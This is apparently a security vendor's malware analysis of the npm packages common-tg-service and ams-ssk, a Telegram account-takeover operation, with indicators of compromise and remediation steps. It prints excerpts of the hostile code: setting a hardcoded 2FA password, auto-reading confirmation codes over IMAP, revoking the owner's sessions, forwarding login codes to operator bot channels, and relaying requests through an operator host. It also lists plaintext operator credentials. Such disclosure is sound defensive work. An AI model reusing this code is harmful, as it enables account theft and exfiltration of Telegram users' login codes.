common-tg-service: 502 npm Versions Hijack Telegram

10 min read

Table of Contents

TL;DR

common-tg-service is an npm package that presents itself as a “Common Telegram service for NestJS applications.” The compiled code inside dist/ is a Telegram account-takeover framework. All 502 published versions (1.0.1 through 1.3.207) are malicious. The package pulls 28,000 weekly downloads on the public npm registry.

A second package by the same publisher, [email protected], is the server-side runtime that common-tg-service calls back to. ams-ssk does not attack the host that installs it. It ships the operator’s infrastructure code: same shetty123 npm publisher, identical folders/:folder/files/download-all API surface, the same copy-pasted NestJS template README, the same disguise pattern. Matched client and server.

Impact:

  • Sets a hardcoded 2FA password (Ajtdmwajt1@) on every Telegram account passed through the service, with the operator’s Gmail ([email protected]) as recovery address.
  • Reads the operator’s IMAP mailbox to auto-submit Telegram’s 2FA confirmation email. The victim sees nothing.
  • Revokes every device authorization that does not match the operator’s session, kicking the legitimate owner off their own account.
  • Forwards every OTP login code from Telegram chat 777000 to operator-controlled bot channels alongside the victim’s phone number.
  • Runs an SRP-check loop against every managed account and flags any account where the user rotated their 2FA as FOREIGN 2FA password, account unrecoverable.
  • Pulls runtime configuration from npoint.io using committed plaintext credentials and a pre-baked session cookie. The operator can change behavior of all deployed instances without re-publishing.
  • Routes blocked HTTP requests through helper-thge.onrender.com as an attribution-laundering relay.

Indicators of Compromise (campaign-level):

IoC: campaign infrastructure across both packages
TypeIndicatorSourceNotes
1npm publishershetty123 <[email protected]>bothmaintainer of both packages
2display authorMad_manams-sskused in repository.url; declared author for ams-ssk
3domainpaidgirl.sitecommon-tg-serviceoperator brand frontend
4domaincms.paidgirl.sitebothAMS / CMS deployment + IP-management API
5domainpromoteClients2.glitch.meams-sskGlitch-hosted AMS / promote-clients deployment (new finding)
6domainhelper-thge.onrender.comcommon-tg-serviceWAF-bypass / HTTP-relay
7domainwww.npoint.iocommon-tg-serviceremote JSON config store; account [email protected]
8domainimap.gmail.comcommon-tg-service2FA confirmation-code mailbox; account [email protected]
9domainzomcall.netlify.appcommon-tg-serviceoperator-controlled frontend
10domaintgchats.netlify.appcommon-tg-serviceoperator-controlled frontend
11domaintg-chats.netlify.appcommon-tg-serviceoperator-controlled frontend
12domainreport-upi.netlify.appcommon-tg-serviceoperator-controlled frontend (UPI = India payments)
13IP31.97.59.2common-tg-serviceoperator VPS IP (allowlisted)
14IP148.230.84.50common-tg-serviceoperator VPS IP
15IP13.228.225.19common-tg-serviceoperator VPS IP (AWS Singapore)
16IP18.142.128.26common-tg-serviceoperator VPS IP (AWS Singapore)
17IP54.254.162.138common-tg-serviceoperator VPS IP (AWS Singapore)
18credentialAjtdmwajt1@common-tg-servicehardcoded universal 2FA password and npoint.io password
19credentialsantoorcommon-tg-servicehardcoded internal API key / auth bypass
20credential[email protected]common-tg-service2FA recovery email implanted on victim accounts
21credentialpassword - India143common-tg-service2FA hint implanted on victim accounts
22Telegram chat-1001801844217common-tg-servicedefault accountsChannel exfil destination
23Telegram chat-1001972065816common-tg-servicedefault updatesChannel exfil destination
23 rows
| 4 columns

Three details name the target: the “UPI Integration” feature in the README, the report-upi.netlify.app origin, and the India143 2FA hint. The framework is aimed at Indian Telegram accounts for downstream payments fraud.

Package 1: common-tg-service

Provenance

FieldValue
Packagecommon-tg-service
Latest version analyzed1.3.207
Total versions on npm502 (1.0.1 → 1.3.207)
First publishversion 1.0.1
Maintainershetty123 <[email protected]>
License declaredMIT
Enginesnode >=22.0.0
Install-time scriptsNone. The malice triggers at runtime, not install time
Weekly downloads~28,000
Tarballcommon-tg-service-1.3.207.tgz
SHA-15061bc9611e31a48a8085cfab4cb875a6cc633ec
Package size662.9 kB packed / 4.0 MB unpacked / 934 files

The version count was verified directly:

Terminal window
$ npm view common-tg-service versions --json | jq 'length'
502

The package declares no preinstall or postinstall hooks. Install-time scanners that gate on lifecycle scripts will not flag it. The malice runs when the service starts, not when npm install does.

Behavior 1: 2FA implant via IMAP

When the service handles a Telegram account without a 2FA password, it sets one. The password, recovery email, and hint are all hardcoded.

// dist/components/Telegram/manager/auth-operations.js:110
async function set2fa(ctx) {
if (!(await hasPassword(ctx))) {
const twoFaDetails = {
hint: 'password - India143',
newPassword: 'Ajtdmwajt1@',
};
return imapService.runExclusive(async () => {
await imapService.connectToMail(30_000);
await ctx.client.updateTwoFaSettings({
isCheckPassword: false,
email: twoFaDetails.email,
hint: twoFaDetails.hint,
newPassword: twoFaDetails.newPassword,
emailCodeCallback: async (length) => {
/* polls operator's mailbox up to 4 times,
reads the email confirmation code Telegram sent,
and submits it back to Telegram automatically */
},
});
});
}
}

The IMAP module connects to the operator’s imap.gmail.com mailbox, reads the confirmation code Telegram sends to the recovery address, and submits it back to Telegram. The whole 2FA setup runs without prompting the victim.

The recovery email being operator-controlled is the load-bearing detail. Even if a victim regains some other access to their account, the operator can reset 2FA at any time through the recovery flow.

Behavior 2: ownership-verification loop

The framework does not just take the account over. It watches for users who escape.

// dist/components/shared/base-client.service.js:208
this.KNOWN_2FA_PASSWORD = 'Ajtdmwajt1@';
// ...
const srp = await computeCheck(passwordInfo, this.KNOWN_2FA_PASSWORD);
if (/* SRP check failed */) {
this.logger.warn(`${mobile}: 2FA password verification failed, foreign password`);
await this.markAsInactive(doc.mobile,
'Foreign 2FA password, account unrecoverable if session dies');
this.botsService.sendMessageByCategory(
ChannelCategory.ACCOUNT_NOTIFICATIONS,
`<b>FOREIGN 2FA</b>\n<b>Mobile:</b> ${doc.mobile}\n<b>Status:</b> Account has unknown 2FA password, marked inactive`,
{ parseMode: 'HTML' }
);
}

On a loop, the framework SRP-checks every managed account against the hardcoded password. If the legitimate user has rotated their 2FA, the framework marks the account unrecoverable and pings the operator’s Telegram channel. The campaign alerts on user pushback.

Behavior 3: forcible eviction of other sessions

For every other device authorized on the account, the framework calls account.GetAuthorizations, filters out the operator’s own session fingerprint, and revokes the rest.

// dist/components/Telegram/manager/auth-operations.js:32
async function removeOtherAuths(ctx) {
const result = await ctx.client.invoke(new Api.account.GetAuthorizations());
for (const auth of result.authorizations) {
if (isOwnAuth(ctx.phoneNumber, auth)) continue;
await fetchWithTimeout(
`${notifbot()}&text=${encodeURIComponent(
`Removing Auth\n\nMobile: ${ctx.phoneNumber}\nApp: ${auth.appName}\n` +
`Device: ${auth.deviceModel}\nCountry: ${auth.country}\nAPI ID: ${auth.apiId}`
)}`
);
await resetAuthorization(ctx, auth);
}
}

Each revocation reports back to the operator’s bot channel with phone, country, device model, and API ID. The legitimate owner gets booted off their own account, no notification, no recourse.

Behavior 4: OTP harvesting from chat 777000

Telegram delivers OTP login codes from the official sender chat 777000. The framework listens for messages on that chat and forwards them straight to the operator’s bot channel.

// dist/components/Telegram/manager/client-operations.js:107
if (event.message.chatId.toString() == '777000') {
await fetchWithTimeout(
`${notifbot()}&text=${encodeURIComponent(
`Login Code Received\n\nClient: ${process.env.clientId}\n` +
`Mobile: ${ctx.phoneNumber}\nMessage: ${event.message.text?.substring(0, 100)}`
)}`
);
}

Any phone number passing through the framework gives the operator full login capability on demand.

Behavior 5: npoint.io as remote config store

npoint.io is a free public JSON hosting service. The operator committed live credentials and a pre-baked session cookie for their npoint account into the source.

// dist/components/n-point/npoint.service.js:17
this.cookie = '_npoint_session=MTBOeElFZ0pX...== --4d0883b9956c6...';
this.baseUrl = 'https://www.npoint.io';
this.signInUrl = 'https://www.npoint.io/users/sign_in';
// ...
const data = JSON.stringify({
user: {
password: 'Ajtdmwajt1@',
},
});

Every running instance authenticates to npoint as the operator and pulls JSON configuration from there. The operator can change behavior of all deployed instances by editing a JSON file on npoint, no re-publish required.

Behavior 6: HTTP request laundering

On HTTP 403 or 495, the framework re-issues the request through an operator-controlled relay.

// dist/utils/fetchWithTimeout.js:79
async function makeBypassRequest(url, options) {
const finalBypassUrl = bypassUrl.startsWith('http') ? bypassUrl : 'https://helper-thge.onrender.com/execute-request';
const response = await bypassAxios.post(
finalBypassUrl,
{
url,
method,
headers,
data,
params /* ... */,
},
{ headers: { 'x-api-key': process.env.X_API_KEY || 'santoor' } }
);
}
if (parsedError.status === 403 || parsedError.status === 495) {
const bypassResponse = await makeBypassRequest(url, options);
}

helper-thge.onrender.com runs on Render’s free tier and serves as an attribution-laundering proxy. The authentication header is the shared string santoor, which the codebase reuses as a universal internal API key.

Behavior 7: authentication bypass backdoor

The service exposes administrative endpoints behind an AuthGuard. Any one of three conditions passes the guard:

// dist/guards/auth.guard.js:14
const ALLOWED_IPS = ['31.97.59.2', '148.230.84.50', '13.228.225.19', '18.142.128.26', '54.254.162.138'];
const ALLOWED_ORIGINS = [
'https://paidgirl.site',
'https://zomcall.netlify.app',
/* ... */
];
// ...
if (apiKey && apiKey.toLowerCase() === 'santoor') {
passedReason = 'API key valid';
}

The API key is a publicly readable string in the source. Anyone who reads the package can authenticate as the operator.

Cross-reference map for common-tg-service

FileRole
dist/components/n-point/npoint.service.jsnpoint.io C2 config store with hardcoded operator creds and session cookie
dist/components/Telegram/manager/auth-operations.js2FA implant, IMAP mail polling, eviction of other authorizations
dist/components/Telegram/manager/client-operations.jsOTP exfil to Telegram bot channel
dist/components/Telegram/manager/helpers.jscms.paidgirl.site internal hosts, file-download API key handling
dist/components/shared/base-client.service.jsKNOWN_2FA_PASSWORD ownership-verification loop, FOREIGN 2FA detection
dist/components/session-manager/session.service.jsDEFAULT_PASSWORD = 'Ajtdmwajt1@', OTP read from 777000
dist/components/Telegram/utils/generateTGConfig.jsPulls proxy/IP config from cms.paidgirl.site/ip-management
dist/utils/fetchWithTimeout.jsHTTP bypass relay through helper-thge.onrender.com/execute-request
dist/utils/logbots.jsTelegram bot exfil URL builders, default operator chat IDs
dist/IMap/IMap.jsGmail IMAP client used to grab 2FA confirmation codes
dist/cloudinary.jsPulls zip payloads from cms.paidgirl.site
dist/guards/auth.guard.jsHardcoded operator IPs, origins, and API key santoor for inbound auth

Manifest and README deception

The README is a copy-pasted NestJS template, presenting the package as “A progressive Node.js framework” with a generic feature list (Telegram Bot Integration, Channel Management, Statistics, Promotion Management, UPI Integration). It mentions none of the real behaviors: no 2FA modification, no IMAP polling, no hardcoded credentials, no Telegram bot exfil, no forced revocation of other authorizations.

package.json declares no install-time scripts, so install-time scanners stay quiet. All malice runs at runtime.

Package 2: ams-ssk

The same shetty123 npm publisher also maintains ams-ssk, marketed as “NestJS AMS Library for file management.” On its own, ams-ssk is not a stealer or RAT. The package has no payload aimed at the host that runs npm install ams-ssk. What makes it interesting is the role it plays: the server-side runtime that common-tg-service calls into.

Provenance

FieldValue
Packageams-ssk
Latest version analyzed1.0.33
Total versions on npm31 (1.0.0 → 1.0.33)
Tarballams-ssk-1.0.33.tgz
SHA-180da04770a779330803bdd00d00a354adc12859a
Package size161.8 kB packed / 680.7 kB unpacked / 92 files
npm publishershetty123 <[email protected]> (same as common-tg-service)
Declared authorMad_man
Declared description”NestJS AMS Library for file management”
Declared repositoryhttps://github.com/mad_man/ams.git (does not resolve)
Enginesnode >=16.0.0
First publish2025-03-05
Latest publish2026-04-12
Install-time scriptsNone

The display author Mad_man is the same handle that appears in the operator’s repository.url field.

What ams-ssk ships

The package bundles two functional modules:

  • FileModule, a folder-and-file CRUD API: listFolders, createFolder, deleteFolder, uploadFiles, downloadFile, moveFile, copyFile, plus generateShareableLink, getTemporaryLinks, uploadFromUrl, JSON path/query helpers, file preview, thumbnail, range-streaming, lock/unlock, versioning, and a bulk-zip endpoint folders/:folder/files/download-all (registered at dist/files/file.controller.js:428).
  • BotModule, a Telegram multi-bot forwarder. botLoadBalancer manages a pool of node-telegram-bot-api clients with per-bot operation counters; botService forwards incoming messages to configured channels with retry and admin-chat notification.

In isolation the code is clean of obvious red flags: no hardcoded operator credentials, no paidgirl.site strings, no eval or child_process, no base64 obfuscation, no postinstall hooks, no IMAP modules.

The link is the API surface. common-tg-service calls a specific URL grammar; ams-ssk defines that same grammar.

common-tg-service callsams-ssk defines
https://cms.paidgirl.site/folders/${folderName}/files/download-all (dist/cloudinary.js:87)Route 'folders/:folder/files/download-all' (dist/files/file.controller.js:428)
Internal allow-list includes cms.paidgirl.site (dist/components/Telegram/manager/helpers.js:202)Responses use ${process.env.serviceUrl}/folders/<folder>/files/<file>?temp=true | ?share=true

cms.paidgirl.site is a deployed instance of ams-ssk (or a sibling fork that shares the same controllers). The folder/file URL grammar is identical between client and server.

The Swagger DTO for shareable links leaks a second operator-controlled host that does not appear anywhere in common-tg-service:

// dist/files/dto/responses.dto.js:80
example: 'https://promoteClients2.glitch.me/folders/docs/files/example.pdf?share=true',

promoteClients2.glitch.me is a previously unreported operator host on the free Glitch.me platform. The “2” suffix points to sequential staging (promoteClients, promoteClients2, possibly more). The naming lines up with common-tg-service’s PromoteClientModule, which warms up newly-acquired Telegram accounts.

The two share architecture, not just an API:

Featurecommon-tg-serviceams-ssk
Multi-bot rotationBOT_TOKENS CSV, round-robin in dist/utils/logbots.jsbot_BOT_MAX_OPERATIONS, botLoadBalancer.getNextBot() round-robin
Channel-based exfilFive categories: accountsChannel, updatesChannel, notifChannel, httpFailuresChannel, miscmessagesTELEGRAM_CHANNEL_* env vars; channelId::description::botTokens parser (dist/config/bot.config.js:84)
Admin chat notificationsnotifyAdmin analogues throughoutbot_ADMIN_CHAT_ID + notifyAdmin() (bot.service.js:124)
File-bundle pullsDownloads zips via cms.paidgirl.site/folders/{x}/files/download-allServes zips from folders/:folder/files/download-all

The disguise pattern is identical: copy-pasted NestJS template README (same circleci-image, same paypal.me/kamilmysliwiec, same Kamil Myśliwiec author block), misleading “file management library” description, undeclared Telegram bot integration in the keywords, and a non-resolvable GitHub repository URL.

One other tell: dist/files/utils/helper.js:42 hardcodes VIDEO_ROOT = path.resolve(process.cwd(), 'videos') and constrains getSafeFilePath to that directory. Combined with the paidgirl.site brand and the .mp4 default file extension, the AMS deployment likely hosts media used as honeypot bait for Telegram targets.

Indicators of Compromise (ams-ssk-specific)

IoC: ams-ssk package
IndicatorTypeLocation
1promoteClients2.glitch.meoperator-controlled host (Glitch.me free hosting)dist/files/dto/responses.dto.js:80
2mad_manoperator handle (also in repository.url)package.json author field
3bot_ADMIN_CHAT_IDenv var for operator's Telegram admin chatdist/config/bot.config.js:38
4TELEGRAM_CHANNEL_*env-var prefix; channelId::description::botTokens schemadist/config/bot.config.js:84
5videos/default media-hosting working directorydist/files/utils/helper.js:42
5 rows
| 3 columns

Verdict on ams-ssk

AxisClassification
Direct local-execution malware against installerNo
Member of a confirmed malicious-package campaignYes
Suitable for OSV malicious-packages listingYes, campaign-associated, with common-tg-service as the campaign reference
npm takedown justificationYes. Same publisher as confirmed credential-harvesting malware. Package leaks live operator C2 in its own documentation. Description is misleading.

ams-ssk is operator infrastructure tooling, public on npm. Its secondary effect is plausible deniability: “this developer also publishes a normal NestJS library” softens scrutiny on the malicious sibling.

Remediation

If a project depends on common-tg-service at any version:

  1. Remove the dependency.
  2. Audit every Telegram account whose phone number passed through the service. Check the 2FA recovery email ([email protected] means compromise), check the 2FA hint (password - India143 means compromise), and review active authorizations under Settings → Devices for unknown sessions originating from the operator IPs above.
  3. Reset Telegram 2FA password and recovery email, then revoke all other active sessions.
  4. Block egress to paidgirl.site, cms.paidgirl.site, helper-thge.onrender.com, promoteClients2.glitch.me, and www.npoint.io from any environment that ran the package.
  5. Rotate any environment variables that may have been exposed to the running service: BOT_TOKENS, clientId, accountsChannel, updatesChannel, notifChannel, httpFailuresChannel, X_API_KEY, PROXY_API_URL, PROXY_API_KEY, bypassURL.

Verdict

common-tg-service is a Telegram account-takeover framework, shipped as 502 npm versions under a benign NestJS-utility name. ams-ssk is the same operator’s server-side runtime, deployed at cms.paidgirl.site and promoteClients2.glitch.me and published on npm under the same shetty123 identity with the same disguise pattern. The two are a matched client and server in one credential-harvesting and account-hijacking operation.

  • vet
  • malware
  • npm
  • supply-chain
  • credential-theft

Author

Kunal Singh

Kunal Singh

safedep.io

Share

The Latest from SafeDep blogs

Follow for the latest updates and insights on open source security & engineering

Mini Shai Hulud and SAP Compromise

Mini Shai Hulud and SAP Compromise

Four SAP npm packages published on April 29, 2026 contain a two-stage credential-stealing payload targeting GitHub tokens, AWS keys, and CI/CD pipelines. The packages share SAP-affiliated...

SafeDep Team
Background
SafeDep Logo

Ship Code.

Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.